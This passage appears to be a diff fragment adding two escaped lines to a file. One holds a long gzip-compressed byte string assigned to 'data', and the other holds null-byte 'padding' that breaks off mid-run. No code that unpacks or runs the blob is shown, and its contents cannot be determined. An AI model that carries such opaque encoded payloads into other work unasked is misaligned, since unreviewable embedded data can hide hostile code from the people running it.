+        "     data      = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82<O\\xd8u\\x11\\xae\\x1cr^\\xa2\\x9f\\xbc\\x85\\xd9\\xc8>\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3<K7\\x17\\xda\\xdc\\x18\\x1dm\\xecr\\x0b\\xf4\\xaf^\\xbct\\x8e\\x16\\xf9\\x91\\xbd\\xe9u{v{\\xabT\\x08\\x91\\xe7|\\xf8XcG\\xa1\\xa3\\xd5\\xdf\\x01\\x13\\x17\\x97NC@{\\xebE\\x9awW4W\\\\\\x9bv:\\xdd\\x03\\x8a(O\\x85\\xc8C\\xb7\\x10\\xec\\xfe\\xfe\\xa0\\xeb:\\xbb}]\\xc2B\\x9f\\xf4z=\\xbbGa(\\xa39\\x04\\x87\\xdfR\\x9f\\xd99\\x13E\\x9e(\\xee\\xfd}\\xbd\\xce\\x8b\\xcbMk\\xe6\\x97_\\x9b\\xdaI\\x8a(\\xfa\\xfb\\xf3G\\xdf[@3)\\x866\\xee\\xb4\\xf4Sb\\xc80\\xcag\\xc4q\\xaa\\xd0\\x12\\xa5\\x1eE\\x8c>\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\xde\\x9a:[\\x84wy\\xd4\\x1a\\xb2\\xc3E\\x97\\x90\\x03\\x07\\xd4\\x0e\\xea\\x06\\xd6\\x97\\x18\\x84mT?k\\x88<u\\xd1|\\x876\\xfb\\xb0\\xf8\\xe8\\xb8\\xb6\\xdbO\\x13\\x86B8\\xf8\\x15\\xa5\\xd4\\x97\\x1f\\xd4Ms\\xd1^\\xb6\\xcf\"&\\x98\\x82T\\x1b{\\'dw:;\\xcd\\xfe\\x8aE\\x8ft\\xf5\\xa3\\xe2\\xf1^P\\x1e,\\x82\\xe7\\x9eC[.\\xbd8\\xd67m}\\x80\\xb8\\x8f\\xaa\\xa4\\x94\\x90\\x90\\x96h\\xfc\\xfe\\x9e\\x10\\xdb\\xbb\\xbf?\\xd1\\x0f@\\x16\\xceh\\x0e6!\\x1d\\x16:\\xa4w\\x7f\\xdf\\x05t\\xf9}\\xdc\\xde4]\\xbf\\xa7\\x9e\\xe8N\\x1b?\\x92\\x04\\xe0\\xb5\\xbe\\xb3\\xe3\\xe4\\x80\\x8a\\xbd\\xec\\xd8\\xa9p\\x8e\\xa1\\xc3\\xa6\\x0e\\xccH\\x06\\xe4\\xb8\\x1b\\x00\\x0cX27\\xb4\\x11\\xe9\\x1d\\x93\\'\\x14r\\xbb\\x13v<H\\xb1\\xc7\\xf4\\x98t<P19v\\x8f\\xd9\\xf1\\x02Z\\x9fo\\xb7+\\x11\\xd2\\r\\xec\\xc1_e\\x1d\\x10\\xf6\\x05\\xe3\\x02\\xf4\\xd3\\xe9\\xb4\\x1d\\xbe\\x8b\\xb3\\xef{ \\xa1D\\xfa\\xe0\\x1a\\x149\\xa3j\\x10\\xc5\\xf1L\\xdf\\xf4T\\n\\xba\\xe9\\xd5;\\x876\\x1a\\xbds\\xd6\\xcd\\xf7\\xed\\x9e\\x83\\xd7(\\x1fh?\\xf4?:\\x1f\\xa0\\xf3c\\xc5\\xe1@\\xdf\\xda\\xe4\\xba\\x1d\\x83\\xd0mv\\xcd\\xb3\\rV\\xd7\\xfd\\xac\\xe0\\xcb\\xee\\x87\\x0f\\xf4#\\x0e|l\\xfb9\\xf5\\x9fF\\xfb\\x1bl\\x9f\\x0e\\xe7\\x07\\x9aM\\xaf\\xef\\xd1(\\xea\\x8ae\\xc8{\\xd2\\xb3\\xe9\\xfe\\xfeV1\\x98,s\\xb6\\xe8C?\\xbb}\\x05{\\xe2\\x90\\xc8\\xbd\\xa1\\x9d:n\\xe9,^\\x8d\\xc2\\x0b\\x97C\\xccI\\x82\\xae{\\xac\\x83\\xd2\\xbb\\x7f\\xddwz\\xd7\\xce\\xa0T\\xba\\x07JF\\x7f\\xf0vXu:\\xb4\\x9f\\xb3,\\xa2\\x1e\\xc4\\xa9A\\xe9)O\\xc8\\xb1\\xd7t\\x96\\\\\\x16\\x99\\xf3\\xe1\\xaf\\xce\\xc7\\xff\\x18\\x04*A\\x17\\x90&_\\x12\\x10\\xe2tP\\x15@\\xa7\\\\\\xdcA=t\\x18\\xb84W\\x0f\\x03L\\n\\x100\\xa14\\xe3\\xe1g6\\xd3\\x87\\xd9\\xad\\x9dQ\\x1f\\xcb\\xb0\\x13\\x91f3=\\xbbU\\x0e\\xc28\\x83MI\\x13ao$\\xddz\\xc9\\xc2`)f\\x86\\x91\\xddn*\\x1e5\\x91\\x9b\\n\\x91\\xc6\\xb3\\xe9.\\x1dV\\x89\\'4\\n\\x83d\\x96#\\xe9\\xa6\\x1f\\xb8K\\x15~\\xfc5\\xecw\\x9f\\xe5\\xcdd<\\x8dB_9\\xf4,\\x7f\\xba\\xd0\\xed\\xd6\\xca`*$\\xaa\\xe7\\xd6\\xec,\\xe5!*\\x7fF] \\x82\\x08n#\\x0fc\\x04\\x12\\xdc\\x84\\xbeX\\xcetM\\xfbq\\xf3\\x8f\\x98\\xf9!U\\xc0\\x80k \\xd7\\xdbK\\xb7c\\x9a\\x07ar\"W4\\xeb\\x8fYl\\xafX.B\\xb0v\\xb5V`XI\\xbc\\x00\\x97\\x11\\xb3\\x88-\\xc4fC\\x91\\x91\\x8a\\xbf\\xa3\\xb5\\x14\\xccg^\\x9aKG\\x98\\x15`\\xb4<\\n\\x13\\xd6\\x92~\\x87@\\xd6\\xaf\\xb3CM\\xf3\\xda\\x180\\x14*\\xedq\\xdf7\\x991\\xddCY\\xec\\xa0@\\xf1\\xd1\\x1e\\xff\\x01L,M[Y\\xd8M\\xfd;U\\xf8*U3\\xb5\\xbf,m\\xbc\\xa0q\\x18\\xdd\\xcdh\\x1e\\xd2H\\xe54\\xe1\\'`\\xbap\\xb1A\\xdcu\\xa9\\rPl\\nZ\\x00yoN\\xeef\\xe04)\\xe4\\xa4\\xc3 \\rj\\x0b\\xcf\\xc0E\\x14\\x13\\xfei\\x1b\\xe1\\xafQ\\xd4\\x93J\\xa7}\\x93\\xc5\\xb0L\\xea\\xcdceoH\\x07\\x7f\\xd8@^\\x8e\\xabYj7144\\xeb\\xb2\\x16i8\\xf16\\xfd\\xeb\\x96\\x8e6}\\xc1\\x91W=\\xb7\\x86\\x1d\\xb5\\xcb\\x00ZD3\\xcef\\xf5\\xc7\\x86\\xc5\\xa5\\x9c7\\xe5\\xacn\\x1a\\xf9\\x95\\x0b\\xa1Jf\\t,\\x80F\\x1b\\x88\\xd4\\xa2\\xf1\\x83q\\xe3.#k\"}\\x8c/BU\\xa2 \\xe5LGQ\\x1f(\\x0c\\xb1x\\x850}\\x14\\xc1\\xe7k?\\xe4\\xb09\\xeffa\"U\\xe1\\xa6\\xb7\\xf6~\\x17\\x04\\x90\\xab\\xca\\r\\xa5^5e\\xb4\\xf5K\\xf4\\xb6\\x19\\xb47a\\x92\\x15b\\xc7\\x82a\\xb2\\x84i\\xda\\x9ee\\xc8\\xdf\\xe1\\xae\\x97\\xe9\\xfa\\x8e\\x97I3\\xbb\\xd4\\xbb\\n\\xf2\\x14\\x1cuv\\xb8X,\\xec\\x12\\xd5\\x85(r\\xb5\\xa1-B{\\xdf\\xb5\\x13\\xc8\\xd7\\x1b:[\\xa2{\\xa8tF!r\\xae\\xd8\\xd77\\xc0\\xa6\\xbf\\x88\\x14\\xda\\xb6,\\x9d\\xadB\\xd8\\xb2\\xcc\\xaf;\\xc7c\\x9d\\x9a\\xee\\xdf\\xdbO\\x12kX\\xce\\xfe\\x00K.\\xed0\\xc0\\xf3\\xa9\"\\x95Q\\xe1U\\xf3\\x80\\x98;;\\x89\\xbb\\x91\\xb7nG\\xb91\\x1a\\x1e{a\\xc1\\xb5\\x89vlc\\xa0mv\\xec\"#e+<\\xc9\\xf8\\x14q\\xd7\\xddQ0c\\xcc.\\xbduV\\x066@\\xb3\\xb7\\xee\\x8b\\x8b\\xf3<O9\\x84cX\\xf5\\x03M\\xbb\\xf2\\xcd\\xa1\\xd6\\xf0\\xdcY\\x14hVD\\xea\\xe1\"\\x8aZ\\xcb}\\xcc\\xa34E7*\\x16\\xedU\\x15P\\xc1\\xd5g\\xee\\x84\\xae\\xe6P\\xe5\\xa4\\x86a\\xe1q\\xba\\x07\\x1ex\\x02\\x873\\x10\\x172\\x0b\\xa3\\xe2\\xa4^\\xae\\xd4\\xb1\\xdd\\xecL\\xcd\\xf6\\x8a\\x9c\\xc3w\\x96\\x86p\\x8c\\xcf\\xdbk\\xb6\\xb7\\x91\\xa4\\x10\\xb8*\\xf8*\\xb7\\xca\\xf8\\x91\\xad\\xf2X\\xcc\\xc5\\x15\\xd7\\x0e\\xd6V\\'(G\\xee\\xde\\xd9\"\\xf5\\n\\xbe\\xae\\xd9K\\xf3o\\xc3_\\x95\\xe8\\x9a\\x8c\\x078W\\n\\xa6\\xdeG\\xae\\x1a\\xa00\\xf7\\x0bO\\x0cB/m\\xee\\x1a\\xa2\\xd4\\xcf\\xfa\\xd0A@\\x07\\x91C\\xf8\\x12\\xfc\\xc6+\\x84\\x02]\\t\\x01\\xbe\\xe55\\x08n&\\xc5\\r\\xa4F\\x1c\\x82>F\\x1e\\xbde\\xc0\\xdc\\x8fE\\xe6\\xd1WT~$K\\x8a\\x90q(\\xbdi\\xc4\\x99\\xed\\x83l1\\x1c=\\xfa8CU\\x1a+\\x8e\\xf2\\xf0\\xe2\"Q:\\x1d\\xa5\\xfe\\xeeb\\xb9\\xa1t\\x1b\\xe2r\\xb2\\xde\\xba\\xa9\\xc9\\xbb=Y\\xeb\\xc2?{\\xf3\\x03\\xa2\\x1e\\xe0\\x9cP_\\xd7\\x14\\x8bNg\\xfb\\xdd\\xbf\\xeeK\\x1d\\x03\\xdb\\xa63p\\xaf\\xdb8\\xd8l\\xa1m~\\x80?xn\\xdc*\\xde\\x0fWJ\\x085g\\x9c\\x04.9S\\xea6&\\xd4\\xb3\\xd3$u\\xe1\\xd7U\\xbc\\x88r\\x0e}\\xfa\\xd9?\\x99\\x07Q\\r\\xfe\\x9d\\x0e\\\\\\xc0\\xa6\\xdb\\xa1\\xcaz\\xe5\\xf1j0\\xb8\\xb9iJ\\xf9E\\x0ej\\r\\x96\\xd9\\x93%TsyGP\\x17j3r&%\\xe6\\xa7\\x03\\xfaM>1$\\x8d\\x16#l\\xb6\\xf9D\\xe4\\xecW\\xe8\\xfa\\x1e\\x17\\xdc~5\\x17/\\x8d\\x07m\\x16&9{\\r\\xc3\\xdfc\\x81\\x02\\xdd\\x817\\x17n\\xc5\"\\x88\\x9c\\x9f\\xffY\\xb2\\xd0\\xc9\\xd9\\xbf\\xd3\\xe2-\\x0c}\\x8f\\x0b\\x98\\xba-Nr\\xc3w\\xf5\\x02\\xce\\xfb\\xd4\\x13\\x05l3\\xf1\\xe5o\\xe8&\\x8c\\xdaRa{\\xf0D\\xf2\\x89\\xc9\\xd9sl~\\x8f\\x85\\x9f\\xc3\\xfe\\xdd\\xd1\\x8c$O\\xc9\\xd93\\x1cyH.7py\\xa5\\xb8\\x1f\\xdd\\xc9\\xb7] \\x11\\xd1\\x00`\\x9a!\\x01\\x1f\\xc0N,@\\xf1\\x05HY\\x9c)\\x9d\\x9c^\\x17\\xa9\\x8d\\xf3\\x9d\\x0eJ\\xb7\\x1b\\x80+6\\xfe)\\x0bXE\\x16\\x01\\x0e\\xd6\\x8c\\xb5o\\xf2\\x8c&\\xa5\\xbf&\\xcd\"C\\x8c+\\xd0\\xdf\\x1e]4\\xa3\\x8bGFY\\xd3G[2<\\x10\\x01\\x0e\\x17\"\\xcd\\xefP\\x04p\\x84\\xd2l\\xa4a<:{!\\xc7\\xc3\\xeb\\x82)\\xef\\x99+uw\\x8f\\xda\\xab\\x03[\\x06\\x80\\xe5,\\xf1\\x18\\x7fH\\xfc\\x9a\\xe64\\xfe\\x1f\\x91W[B\\x12\\n\\x08\\xd2L8s\\x88\\xb7\\xe5B\\xe7SmO\\xc9\\xd4\\xf3 \\xee\\n\\xde\\xb6\\xe1\\x1b\\x96\\xafB\\x8f\\xbdL!\\xc2W\\xce\\x95\\xc14`OG\\xe4\\x05\\xeb\\xe0\\xadn\\x98\\x14\\xccy\\xdcR\\xedU\\x9d\\xa7I\\xc2n\\xc1`\\x8f[\\xa6F\\\\V~!\\xd3\\xae\\xf6-\\x8c\\xb2\\x90\\xafQ\\x94\\n\\xd3c\\x98\\xa0 \\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7<B\\xf3x%\\xc2\\x99\\xc0\\x9a\\xc9O\\xa1\\x94M\\x9eT\\x9f\\xce\\xbb7\\xd2\\x97x\\x188\\xf3\\xf9\\xab\\x17\\xc9\\xafo/\\xce\\xaf\\xae\\xf4_\\x9f\\xaf\\xfex\\xf3\\x9f\\xc1\\xf3\\xd1s\\xfdi\\xfc\\xe2z|\\xf9\\xe3\\xf0Y\\xa5S\\x06\\xb1\\xbdzlF\\xe1J/ke\\xb7l?\\xb7N\\xf0O+\\xbd\\x9ahN\\xa8\\x9b\\xb2;[14}\\xa2\\x9c(\\x0f\\xc5\\xcdR4\\t(\\x1e\\xb4\\xbc\\xa2\\xde\\x1d\\x18\\x00\\xca\\xa7E\\x08\\xae)BY\\xd1\\xcb\\xca\\xee\\x9b\\xa4\\xe0\\x071/\\t}\\x99\\xba\\xab-\\x91mwy]+}\\xef\\xb5\\xbc\\xef\\xf9\\xa9\\xd3\\\\\\xc5\\xaae\\xe9\\xa3m\\xec\\xfd\\x83osS\\x1eB\\xa9\\x97\\xbfG4\\xd5\\xdd\\xe9{!y\\xe0U\\xf9\\x01\\xbd\\xbf?p{\\xe5]y\\x85R\\x1f6U\\xd0\\xf4\\xf9\\x9b7\\xfa9\\xa4\\x11({\\xf0z\\xdc\\x93\\x9f\\xbf\\xa6>{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n",
+        "     padding   = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0